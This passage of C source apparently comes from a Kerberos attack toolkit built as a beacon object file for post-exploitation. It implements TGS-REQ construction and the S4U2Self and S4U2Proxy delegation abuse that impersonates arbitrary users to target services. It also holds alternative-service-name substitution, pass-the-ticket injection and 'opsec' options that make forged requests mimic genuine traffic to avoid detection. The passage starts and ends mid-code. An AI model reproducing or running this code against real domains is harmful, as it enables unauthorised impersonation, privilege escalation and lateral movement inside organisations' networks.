(AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(tgs_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(tgs_rep->enc_part))) return TRUE;\n        }\n    }\n    return FALSE;\n}\n\nBOOL NewTGS_REQ(char* userName, char* domain, char* sname, Ticket providedTicket, EncryptionKey clientKey, int requestEType, byte* tgs, BOOL opsec, BOOL u2u, BOOL unconstrained, char* targetDomain, char* s4uUser, BOOL keyList, BOOL renew, byte** reqBytes, int* reqBytesSize) {\n    AS_REQ req = { 0 };\n\n    req.pvno = 5;\n    req.msg_type = 12;\n\n    req.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    req.req_body.till = 24 * 3600;\t\t // valid for 1h\n    ADVAPI32$SystemFunction036(&(req.req_body.nonce), 4);\n\n    if (!opsec && !u2u) {\n        req.req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n        req.req_body.cname.name_count = 1;\n        req.req_body.cname.name_string = MemAlloc(sizeof(void*) * req.req_body.cname.name_count);\n        if (!req.req_body.cname.name_string) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        if (my_copybuf(&(req.req_body.cname.name_string[0]), userName, my_strlen(userName) + 1)) return TRUE;\n    }\n\n    if (targetDomain == NULL)\n        if (my_copybuf(&targetDomain, domain, my_strlen(domain) + 1)) return TRUE;\n\n    int partsCount = 0;\n    char** parts = my_strsplit( sname, '/', &partsCount );\n\n    if (my_copybuf(&req.req_body.realm, targetDomain, my_strlen(targetDomain) + 1)) return TRUE;\n    StrToUpper(req.req_body.realm);\n\n    req.req_body.etypes_count = 0;\n    int etypeIndex = 0;\n    if (s4uUser && opsec)\n        req.req_body.etypes_count += 1;\n\n    if (requestEType == subkey_keymaterial) {\n        req.req_body.etypes_count += 4;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac_exp;\n    }\n    else if (opsec && (partsCount > 1) && my_strcmp(parts[0], \"krbtgt\")) {\n        req.req_body.etypes_count += 5;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac_exp;\n        req.req_body.etypes[etypeIndex++] = old_exp;\n    }\n    else {\n        req.req_body.etypes_count += 1;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = requestEType;\n    }\n\n    if (s4uUser) {\n        if (u2u) {\n            req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE | ENCTKTINSKEY | FORWARDABLE | RENEWABLE | RENEWABLEOK;\n            req.req_body.sname.name_type = PRINCIPAL_NT_UNKNOWN;\n            req.req_body.sname.name_count = 1;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), sname, my_strlen(sname) + 1);\n        }\n        else {\n            req.req_body.sname.name_type = PRINCIPAL_NT_PRINCIPAL;\n            req.req_body.sname.name_count = 1;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), userName, my_strlen(userName) + 1);\n        }\n\n        if (opsec)\n            req.req_body.etypes[etypeIndex++] = old_exp;\n        else\n            req.req_body.kdc_options = req.req_body.kdc_options | ENCTKTINSKEY;\n    }\n    else if (u2u) {\n        req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE | ENCTKTINSKEY | FORWARDABLE | RENEWABLE | RENEWABLEOK;\n        req.req_body.sname.name_type = PRINCIPAL_NT_PRINCIPAL;\n        req.req_body.sname.name_count = 1;\n        req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n        my_copybuf(&(req.req_body.sname.name_string[0]), sname, my_strlen(sname) + 1);\n    }\n    else {\n        if (partsCount == 1) {\n            // service and other unique instance (e.g. krbtgt)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), domain, my_strlen(domain) + 1);\n        }\n        else if (partsCount == 2) {\n            //      SPN (sname/server.domain.com)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n        }\n        else if (partsCount == 3) {\n            //      SPN (sname/server.domain.com/blah)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_HST;\n            req.req_body.sname.name_count = 3;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[2]), parts[2], my_strlen(parts[2]) + 1);\n        }\n        else {\n            PRINT_OUT(\"[X] Error: invalid TGS_REQ sname '%s'\\n\", sname);\n        }\n    }\n\n    if (renew)\n        req.req_body.kdc_options = req.req_body.kdc_options | RENEW;\n\n    KRB_CRED kirbi_tgs = { 0 };\n    if (tgs) {\n        int bytesTgsSize = 0;\n        byte* bytesTgs = base64_decode(tgs, &bytesTgsSize);\n\n        AsnElt   asn_KRB_CRED = { 0 };\n        if (BytesToAsnDecode3(bytesTgs, bytesTgsSize, FALSE, &asn_KRB_CRED)) return TRUE;\n\n        if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi_tgs)) return TRUE;\n\n        req.req_body.additional_tickets_count = 1;\n        req.req_body.additional_tickets = MemAlloc(sizeof(Ticket) * req.req_body.additional_tickets_count);\n        req.req_body.additional_tickets[0] = kirbi_tgs.tickets[0];\n        if (!u2u) {\n            req.req_body.kdc_options = req.req_body.kdc_options | CONSTRAINED_DELEGATION | CANONICALIZE;\n            req.req_body.kdc_options = req.req_body.kdc_options ^ (req.req_body.kdc_options & RENEWABLEOK);\n        }\n    }\n    if (keyList)\n        req.req_body.kdc_options = CANONICALIZE;\n\n    byte* cksum_Bytes = NULL;\n    int cksum_Bytes_length = 0;\n\n    if (opsec) {\n        req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE;\n        if (unconstrained)\n            req.req_body.kdc_options = req.req_body.kdc_options | FORWARDED;\n        else\n            req.req_body.kdc_options = req.req_body.kdc_options ^ (req.req_body.kdc_options & RENEWABLEOK);\n\n        // get hostname and hostname of SPN\n        int size = MAX_COMPUTERNAME_LENGTH + 2;\n        char* hostname = MemAlloc(size);\n        if (!hostname) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        KERNEL32$GetComputerNameA(hostname, &size);\n        int netbiosSize = 16;\n        int numSpaces = (size < netbiosSize) ? (netbiosSize - size) : 0;\n        int i = 0;\n        for (; i < numSpaces; i++)\n            hostname[size + i] = ' ';\n        hostname[size + numSpaces] = 0;\n\n        char* targetHostName;\n        if (partsCount > 1) {\n            int substrIndex = my_strfind(parts[1], '.');\n            if (substrIndex < 0)\n                substrIndex = my_strlen(parts[1]) + 1;\n\n            my_copybuf(&(targetHostName), parts[1], substrIndex);\n            targetHostName[substrIndex] = 0;\n            StrToUpper(targetHostName);\n        }\n        else {\n            my_copybuf(&(targetHostName), hostname, my_strlen(hostname) + 1);\n        }\n\n        // create enc-authorization-data if target host is not the local machine\n        if (my_strcmp(hostname, targetHostName) && (s4uUser == NULL) && !unconstrained) {\n            ADIfRelevant ifrelevant = { 0 };\n            ifrelevant.ad_type = 1;\n            ifrelevant.ADData_count = 2;\n            ifrelevant.ADData = MemAlloc(2 * sizeof(void*));\n\n            ADRestrictionEntry restrictions = { 0 };\n            restrictions.ad_type = 141; // KERB_AUTH_DATA_TOKEN_RESTRICTIONS;\n            restrictions.restriction_type = 0;\n            restrictions.restriction_length = 40;\n            restrictions.restriction = ADRestrictionEntry_buildTokenStruct(1, 8192);\n\n            ADKerbLocal kerbLocal = { 0 };\n            kerbLocal.ad_type = 142; // KERB_LOCAL\n            kerbLocal.ad_data_length = 16;\n            kerbLocal.ad_data = MemAlloc(16);\n            ADVAPI32$SystemFunction036(kerbLocal.ad_data, 16);\n\n            ifrelevant.ADData[0] = &restrictions;\n            ifrelevant.ADData[1] = &kerbLocal;\n\n            AsnElt authDataSeq = { 0 }, authDataSeqContext = { 0 };\n            if (AsnADIfRelevantEncode(&ifrelevant, &authDataSeq)) return TRUE;\n            if (Make3(ASN_SEQUENCE, &authDataSeq, 1, &authDataSeqContext)) return TRUE;\n\n            byte* authorizationDataBytes = NULL;\n            int authorizationDataBytesLegth = 0;\n            if (AsnToBytesEncode(&authDataSeqContext, &authorizationDataBytesLegth, &authorizationDataBytes)) return TRUE;\n\n            req.req_body.enc_authorization_data.etype = clientKey.key_type;\n\n            byte* enc_authorization_data = NULL;\n            int enc_authorization_data_length = 0;\n            if (encrypt(authorizationDataBytes, authorizationDataBytesLegth, clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA,\n                        &(req.req_body.enc_authorization_data.cipher), &(req.req_body.enc_authorization_data.cipher_size))) return TRUE;\n        }\n\n        // S4U requests have a till time of 15 minutes in the future\n        if (s4uUser)\n            req.req_body.till = 900; // + 15 min\n\n        // encode req_body for authenticator cksum\n        AsnElt req_Body_ASN = { 0 }, req_Body_ASNSeq = { 0 }, req_Body_ASNSeqContext = { 0 };\n        if (AsnKDCReqBodyEncode(&(req.req_body), &req_Body_ASN)) return TRUE;\n        if (Make3(ASN_SEQUENCE, &req_Body_ASN, 1, &req_Body_ASNSeq)) return TRUE;\n        if (MakeImplicit(ASN_CONTEXT, 4, &req_Body_ASNSeq, &req_Body_ASNSeqContext)) return TRUE;\n\n        int req_Body_Bytes_length = ValueLength(&req_Body_ASNSeqContext);\n        byte* req_Body_Bytes = MemAlloc(req_Body_Bytes_length);\n        req_Body_Bytes_length = EncodeValue(&req_Body_ASNSeqContext, 0, req_Body_Bytes_length, req_Body_Bytes, 0);\n\n        checksum(clientKey.key_value, clientKey.key_size, req_Body_Bytes, req_Body_Bytes_length, KERB_CHECKSUM_RSA_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &cksum_Bytes, &cksum_Bytes_length);\n    }\n\n    // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, userName, providedTicket, clientKey, opsec, cksum_Bytes, cksum_Bytes_length, &padata)) return TRUE;\n\n    req.pa_data_count = 1 + (opsec && s4uUser) + (s4uUser || opsec || (tgs && !u2u)) + keyList;\n    int padata_index = 0;\n    req.pa_data = MemAlloc(req.pa_data_count * sizeof(PA_DATA));\n    req.pa_data[padata_index++] = padata;\n\n    // Add PA-DATA for KeyList request\n    if (keyList) {\n        PA_DATA keyListPaData = { 0 };\n        if (New_PA_DATA_KeyListReq(rc4_hmac, &keyListPaData)) return TRUE;\n        req.pa_data[padata_index++] = keyListPaData;\n    }\n\n    if (opsec && s4uUser) {\n        // real packets seem to lowercase the domain in these 2 PA_DATA's\n        StrToLower(domain);\n        PA_DATA s4upadata = { 0 };\n        if (New_PA_DATA_s4uX509user(clientKey, s4uUser, domain, req.req_body.nonce, clientKey.key_type, &s4upadata)) return TRUE;\n        req.pa_data[padata_index++] = s4upadata;\n    }\n\n    // add final S4U PA-DATA\n    if (s4uUser) {\n        // constrained delegation yo'\n        PA_DATA s4upadata = { 0 };\n        if (New_PA_DATA_s4u2self(clientKey, s4uUser, domain, &s4upadata)) return TRUE;\n        req.pa_data[padata_index++] = s4upadata;\n    }\n    else if (opsec) {\n        PA_DATA padataoptions = { 0 };\n        if (New_PA_DATA_options(FALSE, TRUE, FALSE, FALSE, &padataoptions)) return TRUE;\n        req.pa_data[padata_index++] = padataoptions;\n    }\n    else if (tgs && !u2u) {\n        PA_DATA padataoptions = { 0 };\n        if (New_PA_DATA_options(FALSE, FALSE, FALSE, TRUE, &padataoptions)) return TRUE;\n        req.pa_data[padata_index++] = padataoptions;\n    }\n\n    AsnElt reqAsn = { 0 };\n    if (ReqToAsnEncode(req, 12, &reqAsn)) return TRUE;\n    if (AsnToBytesEncode(&reqAsn, reqBytesSize, reqBytes)) return TRUE;\n\n    if (opsec && s4uUser)\n        StrToUpper(domain);\n\n    return FALSE;\n}\n\nBOOL S4U2Self(KRB_CRED kirbi, char* targetUser, char* targetSPN, char* domainController, char* altService, BOOL self, BOOL opsec, BOOL ptt, int encType, KRB_CRED* retCred) {\n    // extract out the info needed for the TGS-REQ/S4U2Self execution\n    char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n    char* domain = kirbi.enc_part.ticket_info[0].prealm;\n    Ticket ticket = kirbi.tickets[0];\n    EncryptionKey clientKey = kirbi.enc_part.ticket_info[0].key;\n\n    PRINT_OUT(\"[*] Building S4U2self request for: '%s@%s'\\n\", userName, domain);\n\n    byte* tgsBytes = NULL;\n    int\t  tgsBytesLength = 0;\n    if (NewTGS_REQ(userName, domain, userName, ticket, clientKey, subkey_keymaterial, NULL, opsec, FALSE, FALSE, NULL, targetUser, FALSE, FALSE, /*, roast */ &tgsBytes, &tgsBytesLength)) return TRUE;\n\n    byte* response = NULL;\n    int responseSize = 0;\n    sendBytes(domainController, \"88\", tgsBytes, tgsBytesLength, &response, &responseSize);\n    if (responseSize == 0)\n        return TRUE;\n\n    // decode the supplied bytes to an AsnElt object --- FALSE == ignore trailing garbage\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response, responseSize, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n        PRINT_OUT(\"[+] S4U2self success!\\n\");\n\n        // parse the response to an TGS-REP\n        TGS_REP rep = { 0 };\n        if (NewTGS_REP(responseAsn, &rep)) return TRUE;\n\n        byte* outBytes = NULL;\n        int  outBytesLength = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep.enc_part.cipher, rep.enc_part.cipher_size, &outBytes, &outBytesLength)) return TRUE;\n\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode(outBytes, outBytesLength, &ae)) return TRUE;\n\n        EncKDCRepPart encRepPart = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n        // now build the final KRB-CRED structure\n        KRB_CRED cred = { 0 };\n        cred.pvno = 5;\n        cred.msg_type = 22;\n\n        // if we want to use this s4u2self ticket for authentication, change the sname\n        char** altSnames = 0;\n        int altsvcCount = 0;\n        if (altService && self) {\n            char* altsvc = 0;\n            if (my_copybuf(&(altsvc), altService, my_strlen(altService) + 1)) return TRUE;\n\n            altsvcCount = 0;\n            altSnames = my_strsplit( altsvc, '/', &altsvcCount );\n\n            if (altsvcCount > 1) {\n                rep.ticket.sname.name_count = 2;\n                rep.ticket.sname.name_string = MemAlloc(sizeof(void*) * 2);\n                if (my_copybuf(&(rep.ticket.sname.name_string[0]), altSnames[0], my_strlen(altSnames[0]) + 1)) return TRUE;\n                if (my_copybuf(&(rep.ticket.sname.name_string[1]), altSnames[1], my_strlen(altSnames[1]) + 1)) return TRUE;\n            }\n        }\n\n        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart\n        KrbCredInfo info = { 0 };\n\n        info.key = encRepPart.key;\n        if (my_copybuf(&(info.key.key_value), encRepPart.key.key_value, encRepPart.key.key_size)) return TRUE;\n\n        if (my_copybuf(&(info.prealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.pname = rep.cname;\n        info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n        for (int i = 0; i < info.pname.name_count; i++)\n            if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n        cred.ticket_count = 1;\n        cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n        if (!cred.tickets) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.tickets[0] = rep.ticket;\n\n        info.flags = encRepPart.flags;\n        info.starttime = encRepPart.starttime;\n        info.endtime = encRepPart.endtime;\n        info.renew_till = encRepPart.renew_till;\n\n        if (my_copybuf(&(info.srealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.sname = encRepPart.sname;\n        info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n        for (int i = 0; i < info.sname.name_count; i++)\n            if (my_copybuf(&(info.sname.name_string[i]), encRepPart.sname.name_string[i], my_strlen(encRepPart.sname.name_string[i]) + 1)) return TRUE;\n\n        // if we want to use the s4u2self change the sname here too\n        if (altService && self) {\n            PRINT_OUT(\"[*] Substituting alternative service name '%s'\\n\", altService);\n            if (altsvcCount > 1) {\n                info.sname.name_count = 2;\n                info.sname.name_string = MemAlloc(sizeof(void*) * 2);\n                if (my_copybuf(&(info.sname.name_string[0]), altSnames[0], my_strlen(altSnames[0]) + 1)) return TRUE;\n                if (my_copybuf(&(info.sname.name_string[1]), altSnames[1], my_strlen(altSnames[1]) + 1)) return TRUE;\n\n            }\n        }\n\n        cred.enc_part.ticket_count = 1;\n        cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n        if (!cred.enc_part.ticket_info) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.enc_part.ticket_info[0] = info;\n\n        AsnElt asnCred = { 0 };\n        if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n        byte* kirbiBytes = NULL;\n        int   kirbiBytesSize = 0;\n        if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n        char* kirbiString = base64_encode(kirbiBytes, kirbiBytesSize);\n\n        PRINT_OUT(\"[*] Got a TGS for '%s' to '%s@%s'\\n\", info.pname.name_string[0], info.sname.name_string[0], info.srealm);\n        PRINT_OUT(\"[*] base64(ticket.kirbi):\\n\\n%s\\n\\n\", kirbiString);\n\n        if (ptt && self)\n            PTT(NULL, kirbiString);\n\n        *retCred = cred;\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n\n    return TRUE;\n}\n\nBOOL S4U2Proxy(KRB_CRED kirbi, char* targetUser, char* targetSPN, char* domainController, char* altService, KRB_CRED tgs, BOOL opsec, BOOL ptt) {\n    PRINT_OUT(\"[*] Impersonating user '%s' to target SPN '%s'\\n\", targetUser, targetSPN);\n    char** altSnames = 0;\n    int altsvcCount = 0;\n    if (altService) {\n        char* altsvc = 0;\n        if (my_copybuf(&(altsvc), altService, my_strlen(altService) + 1)) return TRUE;\n\n        altsvcCount = 0;\n        altSnames = my_strsplit( altsvc, ',', &altsvcCount );\n\n        if (altsvcCount == 1)\n            PRINT_OUT(\"[*]   Final ticket will be for the alternate service '%s'\\n\", altService);\n        else\n            PRINT_OUT(\"[*]   Final tickets will be for the alternate services '%s'\\n\", altService);\n    }\n\n    // extract out the info needed for the TGS-REQ/S4U2Proxy execution\n    char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n    char* domain = kirbi.enc_part.ticket_info[0].prealm;\n    Ticket ticket = kirbi.tickets[0];\n    EncryptionKey clientKey = kirbi.enc_part.ticket_info[0].key;\n\n    PRINT_OUT(\"[*] Building S4U2proxy request for service: '%s'\\n\", targetSPN);\n\n    AS_REQ s4u2proxyReq = { 0 };\n    s4u2proxyReq.pvno = 5;\n    s4u2proxyReq.msg_type = KERB_TGS_REQ;\n    s4u2proxyReq.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK | CONSTRAINED_DELEGATION;\n    if (!opsec) {\n        s4u2proxyReq.req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    }\n    s4u2proxyReq.req_body.till = 1 * 3600;   // valid for 1h\n    ADVAPI32$SystemFunction036(&(s4u2proxyReq.req_body.nonce), 4);\n\n    if (my_copybuf(&(s4u2proxyReq.req_body.realm), domain, my_strlen(domain) + 1)) return TRUE;\n\n    char* spn = 0;\n    if (my_copybuf(&(spn), targetSPN, my_strlen(targetSPN) + 1)) return TRUE;\n\n    int partsCount = 0;\n    char** parts = my_strsplit( spn, '/', &partsCount );\n    if (partsCount < 2)\n        return TRUE;\n\n    char* serverName = parts[partsCount - 1];\n    s4u2proxyReq.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n    s4u2proxyReq.req_body.sname.name_count = partsCount;\n    s4u2proxyReq.req_body.sname.name_string = MemAlloc(sizeof(void*) * s4u2proxyReq.req_body.sname.name_count);\n    for (int i = 0; i < partsCount; i++)\n        s4u2proxyReq.req_body.sname.name_string[i] = parts[i];\n\n    if (opsec) {\n        s4u2proxyReq.req_body.etypes_count = 5;\n        s4u2proxyReq.req_body.etypes = MemAlloc(s4u2proxyReq.req_body.etypes_count * sizeof(DWORD));\n        s4u2proxyReq.req_body.etypes[0] = aes128_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[1] = aes256_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[2] = rc4_hmac;\n        s4u2proxyReq.req_body.etypes[3] = rc4_hmac_exp;\n        s4u2proxyReq.req_body.etypes[4] = old_exp;\n    }\n    else {\n        s4u2proxyReq.req_body.etypes_count = 3;\n        s4u2proxyReq.req_body.etypes = MemAlloc(s4u2proxyReq.req_body.etypes_count * sizeof(DWORD));\n        s4u2proxyReq.req_body.etypes[0] = aes128_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[1] = aes256_cts_hmac_sha1;\n        s4u2proxyReq.req_body.etypes[2] = rc4_hmac;\n    }\n\n    s4u2proxyReq.req_body.additional_tickets_count = 1;\n    s4u2proxyReq.req_body.additional_tickets = MemAlloc(s4u2proxyReq.req_body.additional_tickets_count * sizeof(Ticket));\n    s4u2proxyReq.req_body.additional_tickets[0] = tgs.tickets[0];\n\n    byte* cksum_Bytes = NULL;\n    int cksum_Bytes_length = 0;\n\n    if (opsec) {\n        // remove renewableok and add canonicalize\n        s4u2proxyReq.req_body.kdc_options = s4u2proxyReq.req_body.kdc_options ^ (s4u2proxyReq.req_body.kdc_options & RENEWABLEOK);\n        s4u2proxyReq.req_body.kdc_options = s4u2proxyReq.req_body.kdc_options | CANONICALIZE;\n\n        // 15 minutes in the future like genuine requests\n        s4u2proxyReq.req_body.till = 900;\n\n        // get hostname and hostname of SPN\n        int size = MAX_COMPUTERNAME_LENGTH + 2;\n        char* hostname = MemAlloc(size);\n        if (!hostname) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        KERNEL32$GetComputerNameA(hostname, &size);\n\n        char* targetHostName;\n        if (partsCount > 1) {\n            int substrIndex = my_strfind(parts[1], '.');\n            if (substrIndex < 0)\n                substrIndex = my_strlen(parts[1]) + 1;\n\n            my_copybuf(&(targetHostName), parts[1], substrIndex);\n            targetHostName[substrIndex] = 0;\n            StrToUpper(targetHostName);\n        }\n        else {\n            my_copybuf(&(targetHostName), hostname, my_strlen(hostname) + 1);\n        }\n\n        // create enc-authorization-data if target host is not the local machine\n        if (my_strcmp(hostname, targetHostName)) {\n\n            ADIfRelevant ifrelevant = { 0 };\n            ifrelevant.ad_type = 1;\n            ifrelevant.ADData_count = 2;\n            ifrelevant.ADData = MemAlloc(2 * sizeof(void*));\n\n            ADRestrictionEntry restrictions = { 0 };\n            restrictions.ad_type = 141; // KERB_AUTH_DATA_TOKEN_RESTRICTIONS;\n            restrictions.restriction_type = 0;\n            restrictions.restriction_length = 40;\n            restrictions.restriction = ADRestrictionEntry_buildTokenStruct(1, 8192);\n\n            ADKerbLocal kerbLocal = { 0 };\n            kerbLocal.ad_type = 142; // KERB_LOCAL\n            kerbLocal.ad_data_length = 16;\n            kerbLocal.ad_data = MemAlloc(16);\n            ADVAPI32$SystemFunction036(kerbLocal.ad_data, 16);\n\n            ifrelevant.ADData[0] = &restrictions;\n            ifrelevant.ADData[1] = &kerbLocal;\n\n            AsnElt authDataSeq = { 0 }, authDataSeqContext = { 0 };\n            if (AsnADIfRelevantEncode(&ifrelevant, &authDataSeq)) return TRUE;\n            if (Make3(ASN_SEQUENCE, &authDataSeq, 1, &authDataSeqContext)) return TRUE;\n\n            byte* authorizationDataBytes = NULL;\n            int authorizationDataBytesLegth = 0;\n            if (AsnToBytesEncode(&authDataSeqContext, &authorizationDataBytesLegth, &authorizationDataBytes)) return TRUE;\n\n            s4u2proxyReq.req_body.enc_authorization_data.etype = tgs.enc_part.ticket_info[0].key.key_type;\n\n            byte* enc_authorization_data = NULL;\n            int enc_authorization_data_length = 0;\n            if (encrypt(authorizationDataBytes, authorizationDataBytesLegth, tgs.enc_part.ticket_info[0].key.key_value, tgs.enc_part.ticket_info[0].key.key_type, KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA,\n                        &(s4u2proxyReq.req_body.enc_authorization_data.cipher), &(s4u2proxyReq.req_body.enc_authorization_data.cipher_size))) return TRUE;\n        }\n\n        // encode req_body for authenticator cksum\n        AsnElt req_Body_ASN = { 0 }, req_Body_ASNSeq = { 0 }, req_Body_ASNSeqContext = { 0 };\n        if (AsnKDCReqBodyEncode(&(s4u2proxyReq.req_body), &req_Body_ASN)) return TRUE;\n        if (Make3(ASN_SEQUENCE, &req_Body_ASN, 1, &req_Body_ASNSeq)) return TRUE;\n        if (MakeImplicit(ASN_CONTEXT, 4, &req_Body_ASNSeq, &req_Body_ASNSeqContext)) return TRUE;\n\n        int req_Body_Bytes_length = ValueLength(&req_Body_ASNSeqContext);\n        byte* req_Body_Bytes = MemAlloc(req_Body_Bytes_length);\n        req_Body_Bytes_length = EncodeValue(&req_Body_ASNSeqContext, 0, req_Body_Bytes_length, req_Body_Bytes, 0);\n\n        checksum(clientKey.key_value, clientKey.key_size, req_Body_Bytes, req_Body_Bytes_length, KERB_CHECKSUM_RSA_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &cksum_Bytes, &cksum_Bytes_length);\n    }\n\n    // moved to end so we can have the checksum in the authenticator\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, userName, ticket, clientKey, opsec, cksum_Bytes, cksum_Bytes_length, &padata)) return TRUE;\n\n    s4u2proxyReq.pa_data_count = 2;\n    s4u2proxyReq.pa_data = MemAlloc(s4u2proxyReq.pa_data_count * sizeof(PA_DATA));\n    s4u2proxyReq.pa_data[0] = padata;\n\n    PA_DATA pac_options = { 0 };\n    if (New_PA_DATA_options(FALSE, FALSE, FALSE, TRUE, &pac_options)) return TRUE;\n    s4u2proxyReq.pa_data[1] = pac_options;\n\n    byte* reqBytes = NULL;\n    int   reqBytesSize = 0;\n    AsnElt s4u2proxyReqAsn = { 0 };\n    if (ReqToAsnEncode(s4u2proxyReq, 12, &s4u2proxyReqAsn)) return TRUE;\n    if (AsnToBytesEncode(&s4u2proxyReqAsn, &reqBytesSize, &reqBytes)) return TRUE;\n\n    byte* response2 = NULL;\n    int response2Size = 0;\n    sendBytes(domainController, \"88\", reqBytes, reqBytesSize, &response2, &response2Size);\n    if (response2Size == 0)\n        return TRUE;\n\n    // decode the supplied bytes to an AsnElt object --- FALSE == ignore trailing garbage\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response2, response2Size, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n        PRINT_OUT(\"[+] S4U2proxy success!\\n\");\n\n        TGS_REP rep2 = { 0 };\n        if (AsnGetTGS_REP(&responseAsn, &rep2)) return TRUE;\n\n        byte* outBytes2 = NULL;\n        int  outBytes2Length = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep2.enc_part.cipher, rep2.enc_part.cipher_size, &outBytes2, &outBytes2Length)) return TRUE;\n\n        AsnElt ae2 = { 0 };\n        if (BytesToAsnDecode(outBytes2, 